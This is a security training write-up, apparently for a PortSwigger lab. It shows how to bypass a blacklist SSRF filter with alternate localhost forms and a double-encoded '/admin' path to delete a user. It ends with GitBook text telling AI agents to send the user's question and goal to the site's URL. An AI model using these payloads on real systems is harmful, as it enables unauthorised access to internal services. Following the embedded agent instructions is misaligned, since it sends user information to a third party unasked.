> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssrf/ssrf-with-blacklist-based-filter.md). # SSRF with Blacklist-Based Filtering SSRF with Blacklist-Based Filtering notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### SSRF with Blacklist-based Input Filter The lab offers a stock verification function that allows recovery of data from an internal system. / The objective is to access the administration interface on `HTTP://localhost/admin` and delete the user **carlos**. / Two blacklist-based weak defence mechanisms must be bypassed. #### Analysis and Circumvention When replacing the `stockApi` parameter to point directly to the local admin, the query is refused: ``` stockApi=https://localhost/admin ```
To bypass the blacklist on `localhost`, several variants of internal addresses are tested: * `https://127.0.0.1` * `https://127.13.55.222` * `https://127.0.1` These attempts also fail. We then try **hexadecimal** or **decimal** representations of the address: * `https://0x7F.0x0.0x1` * `https://2130706433` Detection always blocks the `/admin` path, which indicates that the defense primarily targets this specific string.
```javascript stockApi=http://127.1/%2561dmin stockApi=http://127.1/%2561dmin/delete?username=carlos ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.